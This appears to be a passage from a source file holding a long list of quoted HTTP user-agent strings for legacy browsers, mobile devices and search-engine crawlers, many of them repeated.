'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
